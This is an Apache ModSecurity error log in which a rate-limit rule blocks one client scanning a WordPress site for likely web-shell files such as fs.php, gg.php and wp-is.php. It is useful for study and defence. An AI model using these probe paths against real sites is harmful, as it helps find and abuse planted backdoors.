[Mon Apr 06 01:50:09.450998 2026] [:error] [pid 51584:tid 51719] [client 172.213.161.161:8931] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "adKg0cZ4qY_GoNCPARAyRQAAANY"]
[Mon Apr 06 01:50:10.169476 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:7234] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "adKg0q3pmp1JkaicYbuVlQAAARg"]
[Mon Apr 06 01:50:10.919813 2026] [:error] [pid 51584:tid 51711] [client 172.213.161.161:63545] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "adKg0sZ4qY_GoNCPARAySgAAAM4"]
[Mon Apr 06 01:50:12.035150 2026] [:error] [pid 51584:tid 51700] [client 172.213.161.161:38412] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "adKg1MZ4qY_GoNCPARAyTQAAAMM"]
[Mon Apr 06 01:50:12.937339 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:20527] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "adKg1N4k74fhQLPUy7FNBgAAAIE"]
[Mon Apr 06 01:50:13.680397 2026] [:error] [pid 51581:tid 51673] [client 172.213.161.161:15493] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "adKg1d4k74fhQLPUy7FNDQAAAIQ"]
[Mon Apr 06 01:50:14.373596 2026] [:error] [pid 51581:tid 51679] [client 172.213.161.161:26623] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "adKg1t4k74fhQLPUy7FNEQAAAIo"]
[Mon Apr 06 01:50:15.334111 2026] [:error] [pid 51753:tid 51821] [client 172.213.161.161:38413] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error.php"] [unique_id "adKg163pmp1JkaicYbuVpwAAAQo"]
[Mon Apr 06 01:50:16.214063 2026] [:error] [pid 51580:tid 51650] [client 172.213.161.161:38455] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adKg2FNFl1NiyNgNZAlAwQAAAEs"]
[Mon Apr 06 01:50:16.863635 2026] [:error] [pid 51584:tid 51697] [client 172.213.161.161:9158] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adKg2MZ4qY_GoNCPARAyWQAAAMA"]
[Mon Apr 06 01:50:18.015326 2026] [:error] [pid 51753:tid 51820] [client 172.213.161.161:13440] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adKg2q3pmp1JkaicYbuVuAAAAQk"]
[Mon Apr 06 01:50:18.850572 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:2174] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "adKg2lNFl1NiyNgNZAlAxQAAAEM"]
[Mon Apr 06 01:50:26.384068 2026] [:error] [pid 51580:tid 51644] [client 172.213.161.161:20496] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "adKg4lNFl1NiyNgNZAlA4AAAAEU"]
[Mon Apr 06 01:50:26.970880 2026] [:error] [pid 51581:tid 51693] [client 172.213.161.161:63473] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "adKg4t4k74fhQLPUy7FNQQAAAJc"]
[Mon Apr 06 01:50:27.436877 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:11813] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "adKg41NFl1NiyNgNZAlA4gAAAEc"]
[Mon Apr 06 01:50:28.106135 2026] [:error] [pid 51580:tid 51641] [client 172.213.161.161:2154] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "adKg5FNFl1NiyNgNZAlA5QAAAEI"]
[Mon Apr 06 01:50:28.772688 2026] [:error] [pid 51581:tid 51691] [client 172.213.161.161:14400] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adKg5N4k74fhQLPUy7FNTAAAAJU"]
[Mon Apr 06 01:50:29.274845 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:63476] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adKg5a3pmp1JkaicYbuV-QAAAQY"]
[Mon Apr 06 01:50:29.816204 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:15538] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adKg5a3pmp1JkaicYbuV_wAAAQE"]
[Mon Apr 06 01:50:30.457729 2026] [:error] [pid 51753:tid 51829] [client 172.213.161.161:8544] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adKg5q3pmp1JkaicYbuWBwAAARI"]
[Mon Apr 06 01:50:31.043895 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:20480] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "adKg563pmp1JkaicYbuWCgAAAQ8"]
[Mon Apr 06 01:50:31.975534 2026] [:error] [pid 51580:tid 51641] [client 172.213.161.161:38452] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "adKg51NFl1NiyNgNZAlA8wAAAEI"]
[Mon Apr 06 01:50:32.913314 2026] [:error] [pid 51581:tid 51674] [client 172.213.161.161:13299] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "adKg6N4k74fhQLPUy7FNTwAAAIU"]
[Mon Apr 06 01:50:33.949600 2026] [:error] [pid 51753:tid 51821] [client 172.213.161.161:26589] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "adKg6a3pmp1JkaicYbuWFwAAAQo"]
[Mon Apr 06 01:50:35.462756 2026] [:error] [pid 51753:tid 51819] [client 172.213.161.161:63509] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adKg663pmp1JkaicYbuWHgAAAQg"]
[Mon Apr 06 01:50:36.704510 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:11831] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adKg7N4k74fhQLPUy7FNWwAAAIE"]
[Mon Apr 06 01:50:38.848444 2026] [:error] [pid 51584:tid 51709] [client 172.213.161.161:15541] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adKg7sZ4qY_GoNCPARAyigAAAMw"]
[Mon Apr 06 01:50:40.647812 2026] [:error] [pid 51581:tid 51673] [client 172.213.161.161:9152] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "adKg8N4k74fhQLPUy7FNXwAAAIQ"]
[Mon Apr 06 01:50:41.952437 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:13271] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "adKg8VNFl1NiyNgNZAlBHQAAAFQ"]
[Mon Apr 06 01:50:42.545085 2026] [:error] [pid 51580:tid 51657] [client 172.213.161.161:11816] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "adKg8lNFl1NiyNgNZAlBHwAAAFI"]
[Mon Apr 06 01:50:43.224380 2026] [:error] [pid 51580:tid 51644] [client 172.213.161.161:8515] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "adKg81NFl1NiyNgNZAlBJwAAAEU"]
[Mon Apr 06 01:50:44.051952 2026] [:error] [pid 51580:tid 51657] [client 172.213.161.161:8653] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "adKg9FNFl1NiyNgNZAlBLAAAAFI"]
[Mon Apr 06 01:50:44.684843 2026] [:error] [pid 51580:tid 51650] [client 172.213.161.161:8565] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "adKg9FNFl1NiyNgNZAlBOAAAAEs"]
[Mon Apr 06 01:50:45.166989 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:9200] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "adKg9VNFl1NiyNgNZAlBPgAAAEc"]
[Mon Apr 06 01:50:45.957964 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:2149] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "adKg9VNFl1NiyNgNZAlBQgAAAEM"]
[Mon Apr 06 01:50:46.640219 2026] [:error] [pid 51584:tid 51702] [client 172.213.161.161:2137] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z.php"] [unique_id "adKg9sZ4qY_GoNCPARAymQAAAMU"]
[Mon Apr 06 01:50:47.295597 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:63457] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "adKg963pmp1JkaicYbuWSQAAAQw"]
[Mon Apr 06 01:50:47.765772 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:63496] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "adKg963pmp1JkaicYbuWSwAAAQ0"]
[Mon Apr 06 01:50:48.373797 2026] [:error] [pid 51580:tid 51639] [client 172.213.161.161:15501] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "adKg-FNFl1NiyNgNZAlBRgAAAEA"]
[Mon Apr 06 01:50:48.991862 2026] [:error] [pid 51580:tid 51662] [client 172.213.161.161:26588] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "adKg-FNFl1NiyNgNZAlBSAAAAFc"]
[Mon Apr 06 01:50:49.937022 2026] [:error] [pid 51581:tid 51669] [client 172.213.161.161:13461] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "adKg-d4k74fhQLPUy7FNdQAAAIA"]
[Mon Apr 06 01:50:50.450505 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:17148] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "adKg-q3pmp1JkaicYbuWWgAAARA"]
[Mon Apr 06 01:50:50.942677 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:15532] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "adKg-lNFl1NiyNgNZAlBUAAAAEM"]
[Mon Apr 06 01:50:51.439583 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:39187] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "adKg-63pmp1JkaicYbuWZQAAARg"]
[Mon Apr 06 01:50:52.109509 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:8558] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adKg_K3pmp1JkaicYbuWawAAAQw"]
[Mon Apr 06 01:50:52.724972 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:26582] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adKg_K3pmp1JkaicYbuWcQAAAQc"]
[Mon Apr 06 01:50:53.455874 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:13293] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adKg_a3pmp1JkaicYbuWdgAAAQ8"]
[Mon Apr 06 01:50:54.179446 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:39212] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adKg_q3pmp1JkaicYbuWfQAAAQY"]
[Mon Apr 06 01:50:54.774374 2026] [:error] [pid 51580:tid 51648] [client 172.213.161.161:39219] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "adKg_lNFl1NiyNgNZAlBYgAAAEk"]
[Mon Apr 06 01:50:55.269129 2026] [:error] [pid 51580:tid 51651] [client 172.213.161.161:63548] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "adKg_1NFl1NiyNgNZAlBZgAAAEw"]
[Mon Apr 06 01:50:55.752896 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:15489] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "adKg_63pmp1JkaicYbuWiQAAARA"]
[Mon Apr 06 01:50:56.273125 2026] [:error] [pid 51580:tid 51648] [client 172.213.161.161:22455] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "adKhAFNFl1NiyNgNZAlBcAAAAEk"]
[Mon Apr 06 01:50:56.853533 2026] [:error] [pid 51580:tid 51645] [client 172.213.161.161:39201] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "adKhAFNFl1NiyNgNZAlBdQAAAEY"]
[Mon Apr 06 01:50:57.662555 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:13493] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "adKhAVNFl1NiyNgNZAlBfgAAAFQ"]
[Mon Apr 06 01:51:00.739099 2026] [:error] [pid 51584:tid 51697] [client 172.213.161.161:22412] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "adKhBMZ4qY_GoNCPARAyqwAAAMA"]
[Mon Apr 06 01:51:01.251519 2026] [:error] [pid 51584:tid 51712] [client 172.213.161.161:39189] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "adKhBcZ4qY_GoNCPARAyrQAAAM8"]
